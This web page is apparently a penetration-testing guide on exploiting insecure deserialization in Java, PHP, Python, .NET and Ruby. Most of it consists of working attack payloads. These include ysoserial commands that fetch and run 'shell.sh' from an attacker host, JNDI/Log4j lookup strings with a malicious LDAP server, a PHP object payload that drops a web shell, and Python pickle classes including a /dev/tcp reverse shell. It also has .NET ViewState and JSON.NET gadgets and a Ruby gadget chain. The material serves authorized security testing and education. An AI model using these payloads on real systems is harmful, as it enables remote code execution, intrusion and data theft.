Exploitation A08

Insecure Deserialization

Insecure deserialization occurs when untrusted data is used to abuse the logic of an application, inflict denial of service, or execute arbitrary code. This guide covers exploitation techniques for Java, PHP, Python, .NET, and Ruby applications.

Why Deserialization Matters

Deserialization vulnerabilities often lead to Remote Code Execution (RCE) with minimal interaction. Attackers can craft malicious serialized objects that execute code upon deserialization. These vulnerabilities are particularly dangerous because exploitation is often reliable and repeatable.

Danger

Deserialization attacks can lead to complete system compromise. Test only with proper authorization and be aware that payloads may execute immediately upon deserialization.

Tools & Resources

ysoserial

Java deserialization payload generator

java -jar ysoserial.jar GitHub →

PHPGGC

PHP gadget chain generator

./phpggc -l GitHub →

ysoserial.net

.NET deserialization payloads

ysoserial.exe -g -f GitHub →

Java Deserialization Scanner

Burp Suite extension

BApp Store GitHub →

marshalsec

Java unmarshaller exploits

java -jar marshalsec.jar GitHub →

peas

Python pickle exploitation

pip install peas GitHub →

Understanding Deserialization

Serialization converts objects into a format for storage or transmission. Deserialization reconstructs objects from this data. When applications deserialize untrusted data without validation, attackers can inject malicious objects.

Serialization Formats by Language

Language Format Signature Functions
Java AC ED 00 05 (hex) or rO0 (base64) ObjectInputStream.readObject()
PHP O:4:"User":2:{...} unserialize()
Python cos\n, c__builtin__ pickle.loads(), yaml.load()
.NET AAEAAAD (base64) or XML format BinaryFormatter, XmlSerializer
Ruby \x04\x08 (Marshal) Marshal.load(), YAML.load()

Detection

Identifying Serialized Data

signatures.txt
plaintext
# Java serialized object signatures
# Hex: AC ED 00 05
# Base64: rO0AB (starts with)
# URL encoded: %AC%ED%00%05

# PHP serialized object
# O:4:"User":2:{s:4:"name";s:4:"John";s:3:"age";i:25;}
# a:2:{i:0;s:5:"hello";i:1;s:5:"world";}

# Python pickle
# Starts with: ۥ (protocol 4)
# Or contains: cos
, c__builtin__

# .NET BinaryFormatter
# Base64: AAEAAAD/////
# XML: <SOAP-ENV:Envelope> or ObjectDataProvider

# Ruby Marshal
# Starts with: 

Common Locations

locations.txt
plaintext
# Check these locations for serialized data:
- Cookies (especially ViewState in .NET)
- Hidden form fields
- Session tokens
- API request/response bodies
- WebSocket messages
- Custom HTTP headers
- File upload contents
- Database-stored objects
- Message queue data
- Cache entries

Java Deserialization

Java deserialization is one of the most common and dangerous vulnerability classes. The gadget chain concept allows attackers to abuse existing classes to achieve RCE.

Using ysoserial

ysoserial-usage.sh
bash
# List available gadget chains
java -jar ysoserial.jar

# Generate payload for specific chain
java -jar ysoserial.jar CommonsCollections1 "id" > payload.ser

# Common gadget chains:
java -jar ysoserial.jar CommonsCollections1 "curl attacker.com/shell.sh|bash"
java -jar ysoserial.jar CommonsCollections2 "wget attacker.com/shell -O /tmp/shell"
java -jar ysoserial.jar CommonsCollections3 "ping -c1 attacker.com"
java -jar ysoserial.jar CommonsCollections4 "nslookup attacker.com"
java -jar ysoserial.jar CommonsCollections5 "id"
java -jar ysoserial.jar CommonsCollections6 "whoami"
java -jar ysoserial.jar CommonsCollections7 "cat /etc/passwd"
java -jar ysoserial.jar Jdk7u21 "calc.exe"
java -jar ysoserial.jar Spring1 "touch /tmp/pwned"

# Base64 encode for transmission
java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0

Detecting Vulnerable Libraries

java-detection.sh
bash
# Check for vulnerable Apache Commons Collections
# Versions < 3.2.2 are vulnerable

# Java Deserialization Scanner (Burp)
# Automatically tests multiple gadget chains

# Manual detection via DNS callback
java -jar ysoserial.jar URLDNS "http://detect.attacker.com"

# If DNS callback received, deserialization occurs
# Then test with RCE payloads

JNDI Injection (Log4j style)

jndi-injection.sh
bash
# JNDI/LDAP injection for Java RCE
# Works when JNDI lookups reach attacker-controlled server

# Start malicious LDAP server with marshalsec
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit"

# Payload triggers JNDI lookup
${jndi:ldap://attacker.com:1389/Exploit}
${jndi:rmi://attacker.com:1099/Exploit}

# Host compiled exploit class
# Exploit.java
public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("id");
        } catch (Exception e) {}
    }
}

PHP Deserialization

Magic Methods

php-magic-methods.php
php
# PHP magic methods called during deserialization:
__wakeup()    # Called when object is unserialized
__destruct()  # Called when object is destroyed
__toString()  # Called when object is converted to string
__call()      # Called when inaccessible method is called
__get()       # Called when reading inaccessible property
__set()       # Called when writing inaccessible property

# Example vulnerable class
class FileHandler {
    public $filename;
    public $content;
    
    public function __destruct() {
        file_put_contents($this->filename, $this->content);
    }
}

# Exploit payload
O:11:"FileHandler":2:{s:8:"filename";s:14:"/tmp/shell.php";s:7:"content";s:29:"<?php system($_GET['cmd']); ?>";}

Using PHPGGC

phpggc-usage.sh
bash
# List available gadget chains
./phpggc -l

# Generate payload for specific framework
./phpggc Laravel/RCE1 system id
./phpggc Symfony/RCE4 exec "id"
./phpggc Monolog/RCE1 exec "whoami"
./phpggc Guzzle/RCE1 exec "cat /etc/passwd"
./phpggc Doctrine/RCE1 exec "ls"
./phpggc Magento/SQLI "select * from admin_user"

# With wrapper for phar
./phpggc -p phar -o exploit.phar Laravel/RCE1 system id

# Base64 encoded
./phpggc -b Laravel/RCE1 system id

# URL encoded
./phpggc -u Laravel/RCE1 system id

Phar Deserialization

phar-deserialization.sh
bash
# Phar archives can trigger deserialization via file operations
# file_exists(), is_dir(), file_get_contents(), include(), etc.

# Generate phar with malicious metadata
./phpggc -p phar -o exploit.phar Monolog/RCE1 exec id

# Trigger via phar:// wrapper
?file=phar://uploads/exploit.jpg/test.txt

# Works even with "safe" file operations:
file_exists("phar://uploads/evil.phar/test");
is_dir("phar://uploads/evil.phar/test");
filesize("phar://uploads/evil.phar/test");

# Bypass extension checks by renaming .phar to .jpg/.gif
# The phar:// wrapper ignores extensions

Python Deserialization

Pickle Exploitation

pickle-rce.py
python
import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        return (os.system, ('id',))

# Generate payload
payload = pickle.dumps(RCE())
print(base64.b64encode(payload).decode())

# Alternative using __reduce_ex__
class RCE2:
    def __reduce_ex__(self, protocol):
        import subprocess
        return (subprocess.check_output, (['id'],))

# Reverse shell payload
class ReverseShell:
    def __reduce__(self):
        import socket,subprocess,os
        return (os.system, ('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"',))

YAML Deserialization

yaml-rce.yaml
yaml
# PyYAML unsafe load (yaml.load without Loader)
# Or yaml.unsafe_load, yaml.full_load

# RCE payload
!!python/object/apply:os.system ["id"]

# Alternative payloads
!!python/object/apply:subprocess.check_output [["id"]]
!!python/object/apply:os.popen ["id"]

# Complex payload with module import
!!python/object/new:str
  args: []
  state: !!python/tuple
    - "import os; os.system('id')"
    - !!python/object/apply:exec []

.NET Deserialization

ViewState Exploitation

dotnet-ysoserial.ps1
powershell
# ViewState is a common .NET deserialization target
# Check for __VIEWSTATE parameter in forms

# If MAC validation is disabled or key is known:
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "id" | base64

# Common ysoserial.net gadgets
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe"
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "cmd.exe /c whoami"
ysoserial.exe -g PSObject -f BinaryFormatter -c "powershell -e [base64]"

# For LosFormatter (ViewState)
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "calc.exe"

# For ObjectStateFormatter
ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c "calc.exe"

JSON.NET Exploitation

jsonnet-payload.json
json
// JSON.NET with TypeNameHandling enabled
// TypeNameHandling.All, TypeNameHandling.Objects, TypeNameHandling.Auto

// Malicious JSON payload
{
  "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList",
    "$values": ["cmd.exe", "/c calc.exe"]
  },
  "ObjectInstance": {
    "$type": "System.Diagnostics.Process, System"
  }
}

// File read payload
{
  "$type": "System.IO.FileInfo, System.IO.FileSystem",
  "fileName": "C:\\windows\\win.ini"
}

Ruby Deserialization

ruby-deserialization.rb
ruby
# Ruby Marshal.load is dangerous with untrusted data
# YAML.load in older versions also vulnerable

# Universal RCE gadget (Ruby >= 2.0)
require 'erb'

class Exploit
  def initialize
    @src = "<%= system('id') %>"
    @filename = "exploit.erb"
  end
end

erb_payload = ERB.allocate
erb_payload.instance_variable_set(:@src, "<%= system('id') %>")
erb_payload.instance_variable_set(:@filename, "x")

payload = Marshal.dump(erb_payload)
puts payload.inspect

# YAML RCE (older Ruby versions)
--- !ruby/object:Gem::Installer
i: x
--- !ruby/object:Gem::SpecFetcher
i: y
--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::Package::TarReader
  io: &1 !ruby/object:Net::BufferedIO
    io: &1 !ruby/object:Gem::Package::TarReader::Entry
       read: 0
       header: "abc"
    debug_output: &1 !ruby/object:Net::WriteAdapter
       socket: &1 !ruby/object:Gem::RequestSet
           sets: !ruby/object:Net::WriteAdapter
               socket: !ruby/module 'Kernel'
               method_id: :system
           git_set: id
       method_id: :resolve

Testing Checklist

🔍 Detection

  • Look for serialization signatures in traffic
  • Check cookies, POST data, hidden fields
  • Identify ViewState in .NET apps
  • Test API endpoints for object injection
  • Check file upload for deserialization

🎯 Identification

  • Determine language/framework used
  • Identify serialization library version
  • Test with URLDNS for Java (safe canary)
  • Check for error messages revealing info
  • Identify available gadget chains

💥 Exploitation

  • Generate payloads with ysoserial/PHPGGC
  • Test multiple gadget chains
  • Use time delays for blind testing
  • Try DNS/HTTP callbacks for confirmation
  • Escalate to reverse shell

📝 Documentation

  • Record exact payload used
  • Document gadget chain and library version
  • Screenshot command execution proof
  • Note impact (RCE, file read, etc.)
  • Include remediation steps

Practice Labs